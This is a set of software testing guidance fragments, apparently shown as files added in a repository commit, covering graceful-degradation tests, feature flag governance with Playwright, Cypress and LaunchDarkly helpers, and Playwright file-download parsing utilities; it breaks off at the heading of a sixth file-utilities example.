- **Sentry integration**: Production monitoring with breadcrumbs
- **Structured logs**: JSON format for easy parsing
- **Test validation**: Assert logs contain context but not secrets
---
### Example 4: Graceful Degradation Tests (Fallback Behavior)
**Context**: Validate application continues functioning when services are unavailable.
**Implementation**:
```typescript
// tests/e2e/graceful-degradation.spec.ts
import { test, expect } from '@playwright/test';
/**
* Graceful Degradation Pattern
* - Simulate service unavailability
* - Validate fallback behavior
* - Ensure user experience degrades gracefully
* - Verify telemetry captures degradation events
*/
test.describe('Service Unavailability', () => {
test('should display cached data when API is down', async ({ page }) => {
// Arrange: Seed localStorage with cached data
await page.addInitScript(() => {
localStorage.setItem(
'products_cache',
JSON.stringify({
data: [
{ id: 1, name: 'Cached Product 1' },
{ id: 2, name: 'Cached Product 2' },
],
timestamp: Date.now(),
}),
);
});
// Mock API unavailable
await page.route(
'**/api/products',
(route) => route.abort('connectionrefused'), // Simulate server down
);
// Act
await page.goto('/products');
// Assert: Cached data displayed
await expect(page.getByTestId('product-list')).toBeVisible();
await expect(page.getByText('Cached Product 1')).toBeVisible();
// Assert: Stale data warning shown
await expect(page.getByTestId('cache-warning')).toBeVisible();
await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
// Assert: Retry button available
await expect(page.getByTestId('refresh-button')).toBeVisible();
});
test('should show fallback UI when analytics service fails', async ({ page }) => {
// Mock analytics service down (non-critical)
await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
// Act: Navigate normally
await page.goto('/dashboard');
// Assert: Page loads successfully (analytics failure doesn't block)
await expect(page.getByTestId('dashboard-content')).toBeVisible();
// Assert: Analytics error logged but not shown to user
const consoleErrors = [];
page.on('console', (msg) => {
if (msg.type() === 'error') consoleErrors.push(msg.text());
});
// Trigger analytics event
await page.getByTestId('track-action-button').click();
// Analytics error logged
expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
// But user doesn't see error
await expect(page.getByTestId('error-message')).not.toBeVisible();
});
test('should fallback to local validation when API is slow', async ({ page }) => {
// Mock slow API (> 5 seconds)
await page.route('**/api/validate-email', async (route) => {
await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
route.fulfill({
status: 200,
body: JSON.stringify({ valid: true }),
});
});
// Act: Fill form
await page.goto('/signup');
await page.getByTestId('email-input').fill('test@example.com');
await page.getByTestId('email-input').blur();
// Assert: Client-side validation triggers immediately (doesn't wait for API)
await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
// Assert: Eventually API validates too (but doesn't block UX)
await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
});
test('should maintain functionality with third-party script failure', async ({ page }) => {
// Block third-party scripts (Google Analytics, Intercom, etc.)
await page.route('**/*.google-analytics.com/**', (route) => route.abort());
await page.route('**/*.intercom.io/**', (route) => route.abort());
// Act
await page.goto('/');
// Assert: App works without third-party scripts
await expect(page.getByTestId('main-content')).toBeVisible();
await expect(page.getByTestId('nav-menu')).toBeVisible();
// Assert: Core functionality intact
await page.getByTestId('nav-products').click();
await expect(page).toHaveURL(/.*\/products/);
});
});
```
**Key Points**:
- **Cached fallbacks**: Display stale data when API unavailable
- **Non-critical degradation**: Analytics failures don't block app
- **Client-side fallbacks**: Local validation when API slow
- **Third-party resilience**: App works without external scripts
- **User transparency**: Stale data warnings displayed
---
## Error Handling Testing Checklist
Before shipping error handling code, verify:
- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
- [ ] **Error UI tested**: User sees error messages for all error states
- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
## Integration Points
- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
- Monitoring tools: Sentry, Datadog, LogRocket
_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_

View File

@@ -0,0 +1,750 @@
# Feature Flag Governance
## Principle
Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
## Rationale
Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
## Pattern Examples
### Example 1: Feature Flag Enum Pattern with Type Safety
**Context**: Centralized flag management with TypeScript type safety and runtime validation.
**Implementation**:
```typescript
// src/utils/feature-flags.ts
/**
* Centralized feature flag definitions
* - Object.freeze prevents runtime modifications
* - TypeScript ensures compile-time type safety
* - Single source of truth for all flag keys
*/
export const FLAGS = Object.freeze({
// User-facing features
NEW_CHECKOUT_FLOW: 'new-checkout-flow',
DARK_MODE: 'dark-mode',
ENHANCED_SEARCH: 'enhanced-search',
// Experiments
PRICING_EXPERIMENT_A: 'pricing-experiment-a',
HOMEPAGE_VARIANT_B: 'homepage-variant-b',
// Infrastructure
USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
// Killswitches (emergency disables)
DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
} as const);
/**
* Type-safe flag keys
* Prevents typos and ensures autocomplete in IDEs
*/
export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
/**
* Flag metadata for governance
*/
type FlagMetadata = {
key: FlagKey;
name: string;
owner: string;
createdDate: string;
expiryDate?: string;
defaultState: boolean;
requiresCleanup: boolean;
dependencies?: FlagKey[];
telemetryEvents?: string[];
};
/**
* Flag registry with governance metadata
* Used for flag lifecycle tracking and cleanup alerts
*/
export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
[FLAGS.NEW_CHECKOUT_FLOW]: {
key: FLAGS.NEW_CHECKOUT_FLOW,
name: 'New Checkout Flow',
owner: 'payments-team',
createdDate: '2025-01-15',
expiryDate: '2025-03-15',
defaultState: false,
requiresCleanup: true,
dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
telemetryEvents: ['checkout_started', 'checkout_completed'],
},
[FLAGS.DARK_MODE]: {
key: FLAGS.DARK_MODE,
name: 'Dark Mode UI',
owner: 'frontend-team',
createdDate: '2025-01-10',
defaultState: false,
requiresCleanup: false, // Permanent feature toggle
},
// ... rest of registry
};
/**
* Validate flag exists in registry
* Throws at runtime if flag is unregistered
*/
export function validateFlag(flag: string): asserts flag is FlagKey {
if (!Object.values(FLAGS).includes(flag as FlagKey)) {
throw new Error(`Unregistered feature flag: ${flag}`);
}
}
/**
* Check if flag is expired (needs removal)
*/
export function isFlagExpired(flag: FlagKey): boolean {
const metadata = FLAG_REGISTRY[flag];
if (!metadata.expiryDate) return false;
const expiry = new Date(metadata.expiryDate);
return Date.now() > expiry.getTime();
}
/**
* Get all expired flags requiring cleanup
*/
export function getExpiredFlags(): FlagMetadata[] {
return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
}
```
**Usage in application code**:
```typescript
// components/Checkout.tsx
import { FLAGS } from '@/utils/feature-flags';
import { useFeatureFlag } from '@/hooks/useFeatureFlag';
export function Checkout() {
const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
}
```
**Key Points**:
- **Type safety**: TypeScript catches typos at compile time
- **Runtime validation**: validateFlag ensures only registered flags used
- **Metadata tracking**: Owner, dates, dependencies documented
- **Expiry alerts**: Automated detection of stale flags
- **Single source of truth**: All flags defined in one place
---
### Example 2: Feature Flag Testing Pattern (Both States)
**Context**: Comprehensive testing of feature flag variations with proper cleanup.
**Implementation**:
```typescript
// tests/e2e/checkout-feature-flag.spec.ts
import { test, expect } from '@playwright/test';
import { FLAGS } from '@/utils/feature-flags';
/**
* Feature Flag Testing Strategy:
* 1. Test BOTH enabled and disabled states
* 2. Clean up targeting after each test
* 3. Use dedicated test users (not production data)
* 4. Verify telemetry events fire correctly
*/
test.describe('Checkout Flow - Feature Flag Variations', () => {
let testUserId: string;
test.beforeEach(async () => {
// Generate unique test user ID
testUserId = `test-user-${Date.now()}`;
});
test.afterEach(async ({ request }) => {
// CRITICAL: Clean up flag targeting to prevent shared env pollution
await request.post('/api/feature-flags/cleanup', {
data: {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
},
});
});
test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
// Arrange: Enable flag for test user
await request.post('/api/feature-flags/target', {
data: {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
variation: true, // ENABLED
},
});
// Act: Navigate as targeted user
await page.goto('/checkout', {
extraHTTPHeaders: {
'X-Test-User-ID': testUserId,
},
});
// Assert: New flow UI elements visible
await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
await expect(page.getByTestId('express-payment-options')).toBeVisible();
await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
// Assert: Legacy flow NOT visible
await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
// Assert: Telemetry event fired
const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
expect(analyticsEvents).toContainEqual(
expect.objectContaining({
event: 'checkout_started',
properties: expect.objectContaining({
variant: 'new_flow',
}),
}),
);
});
test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
// Arrange: Disable flag for test user (or don't target at all)
await request.post('/api/feature-flags/target', {
data: {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
variation: false, // DISABLED
},
});
// Act: Navigate as targeted user
await page.goto('/checkout', {
extraHTTPHeaders: {
'X-Test-User-ID': testUserId,
},
});
// Assert: Legacy flow UI elements visible
await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
// Assert: New flow NOT visible
await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
// Assert: Telemetry event fired with correct variant
const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
expect(analyticsEvents).toContainEqual(
expect.objectContaining({
event: 'checkout_started',
properties: expect.objectContaining({
variant: 'legacy_flow',
}),
}),
);
});
test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
// Arrange: Simulate flag service unavailable
await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
// Act: Navigate (should fallback to default state)
await page.goto('/checkout', {
extraHTTPHeaders: {
'X-Test-User-ID': testUserId,
},
});
// Assert: Fallback to safe default (legacy flow)
await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
// Assert: Error logged but no user-facing error
const consoleErrors = [];
page.on('console', (msg) => {
if (msg.type() === 'error') consoleErrors.push(msg.text());
});
expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
});
});
```
**Cypress equivalent**:
```javascript
// cypress/e2e/checkout-feature-flag.cy.ts
import { FLAGS } from '@/utils/feature-flags';
describe('Checkout Flow - Feature Flag Variations', () => {
let testUserId;
beforeEach(() => {
testUserId = `test-user-${Date.now()}`;
});
afterEach(() => {
// Clean up targeting
cy.task('removeFeatureFlagTarget', {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
});
});
it('should use NEW checkout flow when flag is ENABLED', () => {
// Arrange: Enable flag via Cypress task
cy.task('setFeatureFlagVariation', {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
variation: true,
});
// Act
cy.visit('/checkout', {
headers: { 'X-Test-User-ID': testUserId },
});
// Assert
cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
});
it('should use LEGACY checkout flow when flag is DISABLED', () => {
// Arrange: Disable flag
cy.task('setFeatureFlagVariation', {
flagKey: FLAGS.NEW_CHECKOUT_FLOW,
userId: testUserId,
variation: false,
});
// Act
cy.visit('/checkout', {
headers: { 'X-Test-User-ID': testUserId },
});
// Assert
cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
});
});
```
**Key Points**:
- **Test both states**: Enabled AND disabled variations
- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
- **Unique test users**: Avoid conflicts with real user data
- **Telemetry validation**: Verify analytics events fire correctly
- **Graceful degradation**: Test fallback behavior on errors
---
### Example 3: Feature Flag Targeting Helper Pattern
**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
**Implementation**:
```typescript
// tests/support/feature-flag-helpers.ts
import { request as playwrightRequest } from '@playwright/test';
import { FLAGS, FlagKey } from '@/utils/feature-flags';
/**
* LaunchDarkly API client configuration
* Use test project SDK key (NOT production)
*/
const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
type FlagVariation = boolean | string | number | object;
/**
* Set flag variation for specific user
* Uses LaunchDarkly API to create user target
*/
export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
const response = await playwrightRequest.newContext().then((ctx) =>
ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
headers: {
Authorization: LD_SDK_KEY!,
'Content-Type': 'application/json',
},
data: {
targets: [
{
values: [userId],
variation: variation ? 1 : 0, // 0 = off, 1 = on
},
],
},
}),
);
if (!response.ok()) {
throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
}
}
/**
* Remove user from flag targeting
* CRITICAL for test cleanup
*/
export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
const response = await playwrightRequest.newContext().then((ctx) =>
ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
headers: {
Authorization: LD_SDK_KEY!,
},
}),
);
if (!response.ok() && response.status() !== 404) {
// 404 is acceptable (user wasn't targeted)
throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
}
}
/**
* Percentage rollout helper
* Enable flag for N% of users
*/
export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
if (percentage < 0 || percentage > 100) {
throw new Error('Percentage must be between 0 and 100');
}
const response = await playwrightRequest.newContext().then((ctx) =>
ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
headers: {
Authorization: LD_SDK_KEY!,
'Content-Type': 'application/json',
},
data: {
rollout: {
variations: [
{ variation: 0, weight: 100 - percentage }, // off
{ variation: 1, weight: percentage }, // on
],
},
},
}),
);
if (!response.ok()) {
throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
}
}
/**
* Enable flag globally (100% rollout)
*/
export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
await setFlagRolloutPercentage(flagKey, 100);
}
/**
* Disable flag globally (0% rollout)
*/
export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
await setFlagRolloutPercentage(flagKey, 0);
}
/**
* Stub feature flags in local/test environments
* Bypasses LaunchDarkly entirely
*/
export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
// Set flags in localStorage or inject into window
if (typeof window !== 'undefined') {
(window as any).__STUBBED_FLAGS__ = flags;
}
}
```
**Usage in Playwright fixture**:
```typescript
// playwright/fixtures/feature-flag-fixture.ts
import { test as base } from '@playwright/test';
import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
import { FlagKey } from '@/utils/feature-flags';
type FeatureFlagFixture = {
featureFlags: {
enable: (flag: FlagKey, userId: string) => Promise<void>;
disable: (flag: FlagKey, userId: string) => Promise<void>;
cleanup: (flag: FlagKey, userId: string) => Promise<void>;
};
};
export const test = base.extend<FeatureFlagFixture>({
featureFlags: async ({}, use) => {
const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
await use({
enable: async (flag, userId) => {
await setFlagForUser(flag, userId, true);
cleanupQueue.push({ flag, userId });
},
disable: async (flag, userId) => {
await setFlagForUser(flag, userId, false);
cleanupQueue.push({ flag, userId });
},
cleanup: async (flag, userId) => {
await removeFlagTarget(flag, userId);
},
});
// Auto-cleanup after test
for (const { flag, userId } of cleanupQueue) {
await removeFlagTarget(flag, userId);
}
},
});
```
**Key Points**:
- **API-driven control**: No manual UI clicks required
- **Auto-cleanup**: Fixture tracks and removes targeting
- **Percentage rollouts**: Test gradual feature releases
- **Stubbing option**: Local development without LaunchDarkly
- **Type-safe**: FlagKey prevents typos
---
### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
**Context**: Governance checklist and automated cleanup detection for stale flags.
**Implementation**:
```typescript
// scripts/feature-flag-audit.ts
/**
* Feature Flag Lifecycle Audit Script
* Run weekly to detect stale flags requiring cleanup
*/
import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
import * as fs from 'fs';
import * as path from 'path';
type AuditResult = {
totalFlags: number;
expiredFlags: FlagKey[];
missingOwners: FlagKey[];
missingDates: FlagKey[];
permanentFlags: FlagKey[];
flagsNearingExpiry: FlagKey[];
};
/**
* Audit all feature flags for governance compliance
*/
function auditFeatureFlags(): AuditResult {
const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
const expiredFlags = getExpiredFlags().map((meta) => meta.key);
// Flags expiring in next 30 days
const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
const flagsNearingExpiry = allFlags.filter((flag) => {
const meta = FLAG_REGISTRY[flag];
if (!meta.expiryDate) return false;
const expiry = new Date(meta.expiryDate).getTime();
return expiry > Date.now() && expiry < thirtyDaysFromNow;
});
// Missing metadata
const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
// Permanent flags (no expiry, requiresCleanup = false)
const permanentFlags = allFlags.filter((flag) => {
const meta = FLAG_REGISTRY[flag];
return !meta.expiryDate && !meta.requiresCleanup;
});
return {
totalFlags: allFlags.length,
expiredFlags,
missingOwners,
missingDates,
permanentFlags,
flagsNearingExpiry,
};
}
/**
* Generate markdown report
*/
function generateReport(audit: AuditResult): string {
let report = `# Feature Flag Audit Report\n\n`;
report += `**Date**: ${new Date().toISOString()}\n`;
report += `**Total Flags**: ${audit.totalFlags}\n\n`;
if (audit.expiredFlags.length > 0) {
report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
audit.expiredFlags.forEach((flag) => {
const meta = FLAG_REGISTRY[flag];
report += `- **${meta.name}** (\`${flag}\`)\n`;
report += ` - Owner: ${meta.owner}\n`;
report += ` - Expired: ${meta.expiryDate}\n`;
report += ` - Action: Remove flag code, update tests, deploy\n\n`;
});
}
if (audit.flagsNearingExpiry.length > 0) {
report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
audit.flagsNearingExpiry.forEach((flag) => {
const meta = FLAG_REGISTRY[flag];
report += `- **${meta.name}** (\`${flag}\`)\n`;
report += ` - Owner: ${meta.owner}\n`;
report += ` - Expires: ${meta.expiryDate}\n`;
report += ` - Action: Plan cleanup or extend expiry\n\n`;
});
}
if (audit.permanentFlags.length > 0) {
report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
audit.permanentFlags.forEach((flag) => {
const meta = FLAG_REGISTRY[flag];
report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
});
report += `\n`;
}
if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
report += `## ❌ GOVERNANCE ISSUES\n\n`;
if (audit.missingOwners.length > 0) {
report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
}
if (audit.missingDates.length > 0) {
report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
}
report += `\n`;
}
return report;
}
/**
* Feature Flag Lifecycle Checklist
*/
const FLAG_LIFECYCLE_CHECKLIST = `
# Feature Flag Lifecycle Checklist
## Before Creating a New Flag
- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
- [ ] **Owner**: Assign team/individual responsible
- [ ] **Default State**: Determine safe default (usually false)
- [ ] **Expiry Date**: Set removal date (30-90 days typical)
- [ ] **Dependencies**: Document related flags
- [ ] **Telemetry**: Plan analytics events to track
- [ ] **Rollback Plan**: Define how to disable quickly
## During Development
- [ ] **Code Paths**: Both enabled/disabled states implemented
- [ ] **Tests**: Both variations tested in CI
- [ ] **Documentation**: Flag purpose documented in code/PR
- [ ] **Telemetry**: Analytics events instrumented
- [ ] **Error Handling**: Graceful degradation on flag service failure
## Before Launch
- [ ] **QA**: Both states tested in staging
- [ ] **Rollout Plan**: Gradual rollout percentage defined
- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
- [ ] **Stakeholder Communication**: Product/design aligned
## After Launch (Monitoring)
- [ ] **Metrics**: Success criteria tracked
- [ ] **Error Rates**: No increase in errors
- [ ] **Performance**: No degradation
- [ ] **User Feedback**: Qualitative data collected
## Cleanup (Post-Launch)
- [ ] **Remove Flag Code**: Delete if/else branches
- [ ] **Update Tests**: Remove flag-specific tests
- [ ] **Remove Targeting**: Clear all user targets
- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
- [ ] **Update Documentation**: Remove references
- [ ] **Deploy**: Ship cleanup changes
`;
// Run audit
const audit = auditFeatureFlags();
const report = generateReport(audit);
// Save report
const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
fs.writeFileSync(outputPath, report);
fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
console.log(`Total flags: ${audit.totalFlags}`);
console.log(`Expired flags: ${audit.expiredFlags.length}`);
console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
// Exit with error if expired flags exist
if (audit.expiredFlags.length > 0) {
console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
process.exit(1);
}
```
**package.json scripts**:
```json
{
"scripts": {
"feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
"feature-flags:audit:ci": "npm run feature-flags:audit || true"
}
}
```
**Key Points**:
- **Automated detection**: Weekly audit catches stale flags
- **Lifecycle checklist**: Comprehensive governance guide
- **Expiry tracking**: Flags auto-expire after defined date
- **CI integration**: Audit runs in pipeline, warns on expiry
- **Ownership clarity**: Every flag has assigned owner
---
## Feature Flag Testing Checklist
Before merging flag-related code, verify:
- [ ] **Both states tested**: Enabled AND disabled variations covered
- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
- [ ] **Unique test data**: Test users don't collide with production
- [ ] **Telemetry validated**: Analytics events fire for both variations
- [ ] **Error handling**: Graceful fallback when flag service unavailable
- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
- [ ] **Rollback plan**: Clear steps to disable flag in production
- [ ] **Expiry date set**: Removal date defined (or marked permanent)
## Integration Points
- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
- Related fragments: `test-quality.md`, `selective-testing.md`
- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_

View File

@@ -0,0 +1,456 @@
# File Utilities
## Principle
Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
## Rationale
Testing file operations in Playwright requires boilerplate:
- Manual download handling
- External parsing libraries for each format
- No validation helpers
- Type-unsafe results
- Repetitive path handling
The `file-utils` module provides:
- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
- **Download handling**: Single function for UI or API-triggered downloads
- **Type-safe**: TypeScript interfaces for parsed results
- **Validation helpers**: Row count, header checks, content validation
- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
## Why Use This Instead of Vanilla Playwright?
| Vanilla Playwright | File Utils |
| ------------------------------------------- | ------------------------------------------------ |
| ~80 lines per CSV flow (download + parse) | ~10 lines end-to-end |
| Manual event orchestration for downloads | Encapsulated in `handleDownload()` |
| Manual path handling and `saveAs` | Returns a ready-to-use file path |
| Manual existence checks and error handling | Centralized in one place via utility patterns |
| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
## Pattern Examples
### Example 1: UI-Triggered CSV Download
**Context**: User clicks button, CSV downloads, validate contents.
**Implementation**:
```typescript
import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
import path from 'node:path';
const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
test('should download and validate CSV', async ({ page }) => {
const downloadPath = await handleDownload({
page,
downloadDir: DOWNLOAD_DIR,
trigger: () => page.getByTestId('download-button-text/csv').click(),
});
const csvResult = await readCSV({ filePath: downloadPath });
// Access parsed data and headers
const { data, headers } = csvResult.content;
expect(headers).toEqual(['ID', 'Name', 'Email']);
expect(data[0]).toMatchObject({
ID: expect.any(String),
Name: expect.any(String),
Email: expect.any(String),
});
});
```
**Key Points**:
- `handleDownload` waits for download, returns file path
- `readCSV` auto-parses to `{ headers, data }`
- Type-safe access to parsed content
- Clean up downloads in `afterEach`
### Example 2: XLSX with Multiple Sheets
**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
**Implementation**:
```typescript
import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
test('should read multi-sheet XLSX', async () => {
const downloadPath = await handleDownload({
page,
downloadDir: DOWNLOAD_DIR,
trigger: () => page.click('[data-testid="export-xlsx"]'),
});
const xlsxResult = await readXLSX({ filePath: downloadPath });
// Verify worksheet structure
expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
const worksheet = xlsxResult.content.worksheets[0];
expect(worksheet).toBeDefined();
expect(worksheet).toHaveProperty('name');
// Access sheet data
const sheetData = worksheet?.data;
expect(Array.isArray(sheetData)).toBe(true);
// Use type assertion for type safety
const firstRow = sheetData![0] as Record<string, unknown>;
expect(firstRow).toHaveProperty('id');
});
```
**Key Points**:
- `worksheets` array with `name` and `data` properties
- Access sheets by name
- Each sheet has its own headers and data
- Type-safe sheet iteration
### Example 3: PDF Text Extraction
**Context**: Validate PDF report contains expected content.
**Implementation**:
```typescript
import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
test('should validate PDF report', async () => {
const downloadPath = await handleDownload({
page,
downloadDir: DOWNLOAD_DIR,
trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
});
const pdfResult = await readPDF({ filePath: downloadPath });
// content is extracted text from all pages
expect(pdfResult.pagesCount).toBe(1);
expect(pdfResult.fileName).toContain('.pdf');
expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
});
```
**PDF Reader Options:**
```typescript
const result = await readPDF({
filePath: '/path/to/document.pdf',
mergePages: false, // Keep pages separate (default: true)
debug: true, // Enable debug logging
maxPages: 10, // Limit processing to first 10 pages
});
```
**Important Limitation - Vector-based PDFs:**
Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
```typescript
// Vector-based PDF example (extraction fails gracefully)
const pdfResult = await readPDF({ filePath: downloadPath });
expect(pdfResult.pagesCount).toBe(1);
expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
```
Such PDFs will have:
- `textExtractionSuccess: false`
- `isVectorBased: true`
- Explanatory message in `extractionNotes`
### Example 4: ZIP Archive Validation
**Context**: Validate ZIP contains expected files and extract specific file.
**Implementation**:
```typescript
import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
test('should validate ZIP archive', async () => {
const downloadPath = await handleDownload({
page,
downloadDir: DOWNLOAD_DIR,
trigger: () => page.click('[data-testid="download-backup"]'),
});
const zipResult = await readZIP({ filePath: downloadPath });
// Check file list
expect(Array.isArray(zipResult.content.entries)).toBe(true);
expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
// Extract specific file
const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
const zipWithExtraction = await readZIP({
filePath: downloadPath,
fileToExtract: targetFile,
});
// Access extracted file buffer
const extractedFiles = zipWithExtraction.content.extractedFiles || {};
const fileBuffer = extractedFiles[targetFile];
expect(fileBuffer).toBeInstanceOf(Buffer);
expect(fileBuffer?.length).toBeGreaterThan(0);
});
```
**Key Points**:
- `content.entries` lists all files in archive
- `fileToExtract` extracts specific files to Buffer
- Validate archive structure
- Read and parse individual files from ZIP
### Example 5: API-Triggered Download
**Context**: API endpoint returns file download (not UI click).
**Implementation**:
```typescript
test('should download via API', async ({ page, request }) => {
const downloadPath = await handleDownload({
page, // Still need page for download events
downloadDir: DOWNLOAD_DIR,
trigger: async () => {
const response = await request.get('/api/export/csv', {
headers: { Authorization: 'Bearer token' },
});
if (!response.ok()) {
throw new Error(`Export failed: ${response.status()}`);
}
},
});
const { content } = await readCSV({ filePath: downloadPath });
expect(content.data).toHaveLength(100);
});
```
**Key Points**:
- `trigger` can be async API call
- API must return `Content-Disposition` header
- Still need `page` for download events
- Works with authenticated endpoints
### Example 6: Reading CSV from Buffer (ZIP extraction)
